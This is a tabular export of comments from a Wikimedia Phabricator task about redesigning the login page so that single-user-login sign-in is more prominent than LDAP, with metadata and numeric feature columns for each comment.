+1426790,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,I don't see any real difference in the two screenshots. Anyway if it's not resolved then I'm going to decline this as we don't plan to make changes.,,,1579196023,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1426765,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,per last comment,,,1579194476,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1426763,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Ah.
+
+Well, I'd say this isn't Resolved, then.",,,1579194372,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+1426715,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#5809863, @Jdforrester-WMF wrote:
+>>>! In T862#5805846, @Aklapper wrote:
+>> Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):
+>> 
+>> {F31513468}
+> 
+> That's not the login screen I get when I browse in an incognito browser:
+> 
+> {F31514452}
+
+Thats due to the window size, when the window is small the buttons get moved on top of each other, but when the window is big (like in your screenshot) the buttons are next to each other instead",,,1579191783,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+1426709,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#5805846, @Aklapper wrote:
+> Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):
+> 
+> {F31513468}
+
+That's not the login screen I get when I browse in an incognito browser:
+
+{F31514452}",,,1579191471,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+1426701,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@Aklapper I thought the login page we have here on phab was custom and done by us? (I'm talking about the page where you select SUL or LDAP, not the actual login forum)",,,1579190552,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,0
+1426700,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@Aklapper I thought the login page we have here on phab was custom and done by us?,,,1579190503,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0
+1426198,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"That would be a separate upstream request, as we don't plan to investigate.",,,1579128147,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,236,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+1426179,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Could the button text be centered and make the buttons the same width?,,,1579126627,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,236,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+1425757,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):
+
+{F31513468}",,,1579104959,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,236,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+952253,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"
+>>! In T862#3701636, @Quiddity wrote:
+> 3. Add the [[https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg |Wikimedia Movement logo]] to the right-hand side of the Mediawikiwiki login button. This will more strongly hint at the SUL nature of the button, and make it even more prominent.
+
+Done.",,,1508790170,,PHID-USER-fn7qnpccfbitivgtw2rt,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,120,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1
+951604,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#3701636, @Quiddity wrote:
+> # Change the icon on the LDAP login button from the generic ""arrow-pointing-to-square"" into the Wikitech logo. -- Using either https://wikitech.wikimedia.org/static/images/project-logos/wikitech.png (PNG) or https://commons.wikimedia.org/wiki/File:Wikitech_logo.svg (SVG).
+
+I would just turn that from a button into a plain link, to better emphasize which is the primary option. There is very little reason to use it under normal circumstances (really the only reason to have it at all is that people sometimes lock themselves out of their Wikimedia accounts). Unnecessary choices are bad for UX.",,,1508637353,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,120,True,1,0,1,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+951598,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,The MediaWiki button could also be centered imo.,,,1508633067,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,120,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+951597,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T963#3700724, @mmodell wrote:
+> So I finally got around to dealing with this (D831)... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.
+
+@mmodell The changes looks great in the screenshot at top there, thanks!
+
+Can I suggest 3 additional changes, here?
+# Change the 2nd text-line's wording from `Alternatively, you can introduce your` - into: `Alternatively, you can use your`
+# Change the icon on the LDAP login button from the generic ""arrow-pointing-to-square"" into the Wikitech logo. -- Using either https://wikitech.wikimedia.org/static/images/project-logos/wikitech.png (PNG) or https://commons.wikimedia.org/wiki/File:Wikitech_logo.svg (SVG).
+# Add the [[https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg |Wikimedia Movement logo]] to the right-hand side of the Mediawikiwiki login button. This will more strongly hint at the SUL nature of the button, and make it even more prominent.",,,1508632534,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,120,True,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1
+878066,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Also, the MediaWiki logo is not necessarily recognizable (e.g. to Wikipedia editors who might want to report some UI bug). It would be nice to dislplay the other project logos around the login button.
+
+It would also be nice to do the OAuth sequence in the user's own language but I imagine that does not have a good effort/benefit ratio.",,,1497710467,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,102,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+550546,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,https://gerrit.wikimedia.org/r/#/c/247793/,,,1445534681,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+550540,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,fyi T116142,,,1445534539,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+403680,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The fact that users are joining is not convincing: how many are put off? I joined after finding and reading https://meta.wikimedia.org/wiki/User_talk:Erik_Moeller_%28WMF%29#Phabricator_login_sequence — but did not know what Phabricator actually was, and I’m still not sure what it wants me to allow it to do. I decided the evidence was that it it was safe (partly because it is within wikimedia.org), and there was a discussion I thought I might contribute to. That I saw the confirmation link was (truly) from wikimedia reassured me sufficiently to click it.
+
+I think the screen should say (or link to a page/pop-up saying) what **phabricator-production** is, what “this site” refers to, what it will do with the access it is granted, under what conditions it will do it and whether one can revoke it.",,,1422395355,,PHID-USER-t3q6eaqkeacm3uphfbhg,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-23,True,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+334306,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Not related to login page design, but I think T76146 will improve the process (it certainly saves adding half a page of disclaimers).",,,1417199062,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+333539,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Even if the login page is far from perfect, beautiful or even easy to use, we are getting new users every day, and I'm not seeing complaints about the design. Lowering priority only because we have many other tasks at the moment. 
+
+If someone wants to step in, it will help accelerating this discussion and the eventual implementation of improvements.",,,1417019585,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-32,True,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+5229,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Thanks, posted to https://www.mediawiki.org/wiki/Topic:S5sbkpsibnps5e1p (first time used Flow, beeeh)
+
+Thanks for working on this. Actually I have installed and used Phabricator before for my clients, so I am not that new :)",,,1415539017,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+5226,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Everybody registers using Wikimedia SUL or LDAP. In order to claim your Bugzilla activity, you need to specify the email address(es) that you used in Bugzilla. That's all.
+
+It is explained at https://www.mediawiki.org/wiki/Phabricator/Help#Claiming_your_previous_Bugzilla_and_RT_accounts -- and improvements are welcome.
+
+Thank you for working on this. Your perspective as Phabricator newcomer is appreciated, it helps us seeing details difficult to see when you have gone through this process some time ago.",,,1415515662,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+5221,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"It just a couple CSS changes (and I think I have reordered two divs).
+
+But my question from T1156 remains:
+
+* How are we going to migrate users?
+
+* What is the migration path for Bugzilla (possibly Bugzilla-only) users?
+ - claiming of an account created by the migration process
+ - create new account using bugzilla email address?
+
+It does not belong to this bug, maybe to one of the mw.org pages?",,,1415500884,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+5220,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"It just a couple CSS changes (and I think I have reordered two divs).
+
+But my question from T1156 remains:
+
+* How are we going to migrate users?
+
+* What are migration path for Bugzilla (possibly Bugzilla-only) users?
+ - claiming of an account create by the migration process
+ - create new account using bugzilla email address?
+
+It does not belong to this bug, maybe to one of the mw.org pages?",,,1415500663,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+5192,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@saper, thank you very much for your ideas and your mockup in T1156. Please have a look at the discussion above and to the specific subtasks and feed your ideas in. F721 is interesting because it uses Phabricator UI elements and, therefore, provides a possible plan for shorter-term implementation (that still would require us to extend or patch Phabricator locally).
+
+{F721}
+
+We keep working as fast as we can with the Bugzilla migration blocking tasks. We have decided that this is not a blocker, but is at the top of the #Phabricator priorities, and I expect us to start working on it as soon as @mmodell is liberated from migration specific tasks. How far can we go with short term improvements, we still don't know.",,,1415438326,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0
+4463,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.
+
+* Bugzilla's registration process is [[ https://bugzilla.wikimedia.org/createaccount.cgi | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
+* [[ https://rt.wikimedia.org/ | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
+* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and they need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit account if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.
+
+Therefore, I dare to say that even the current Phabricator login page with all its usability flaws represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.
+
+Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain parts of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.
+
+We have three parallel paths of potential progress:
+
+* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
+* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
+* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)
+
+Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable.",,,1414571086,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+4462,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.
+
+* Bugzilla's registration process is [[ https://bugzilla.wikimedia.org/createaccount.cgi | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
+* [[ https://rt.wikimedia.org/ | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
+* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and tey need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit accout if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.
+
+Therefore, I dare to say that even the current Phabricator login page with all its usability flows represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.
+
+Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain part of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.
+
+We have three parallel paths of potential progress:
+
+* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
+* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
+* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)
+
+Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable.",,,1414570957,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+4454,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"MZ, if you think this must be done before migration it seems you'd need to add it to blockers of T174.",,,1414568497,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+4431,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#16371, @Qgil wrote:
+> @Jaredzimmerman-WMF, first we need to launch Phabricator at a level that satisfies our current Bugzilla and RT users. Developers and their managers are waiting.
+
+I'm quite annoyed at the comments that suggest that there's a rush here. People are waiting for what, exactly? Bugzilla has served us for a decade. We will take our time and do any type of migration properly rather than pretending as though the arbitrary erected timelines are anything more than mere guesstimates.
+
+Let me be clear: there is to be nobody involved in this migration process who would rather hastily push through one of the largest changes to Wikimedia's development ecosystem over taking the time necessary to act judiciously.
+
+> Maybe we can improve the login page around the launch through steps simple to implement. We simply cannot implement your proposal without postponing the launch date by several days, and this doesn't even tackle the question of the extra resources that maintaining such local patch would imply.
+
+This is a hostile false dilemma. We will use this task to discuss redesigning the Phabricator login page, which is demonstrably confusing and in need of love.",,,1414549850,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+4407,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@Jaredzimmerman-WMF, first we need to launch Phabricator at a level that satisfies our current Bugzilla and RT users. Developers and their managers are waiting. Our current focus is to clean these busy backlogs as soon as possible: [[ https://phabricator.wikimedia.org/project/board/40/ | Bugzilla-Preview ]], [[ https://phabricator.wikimedia.org/project/board/10/ | Bugzilla-Migration ]], [[ https://phabricator.wikimedia.org/project/board/12/ | RT-Migration ]]. And then launch. 
+
+Compared with Bugzilla (leave alone RT), this launch already brings a more inviting experience to non-technical people. Maybe we can improve the login page around the launch through steps simple to implement. We simply cannot implement your proposal without postponing the launch date by several days, and this doesn't even tackle the question of the extra resources that maintaining such local patch would imply.",,,1414534993,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
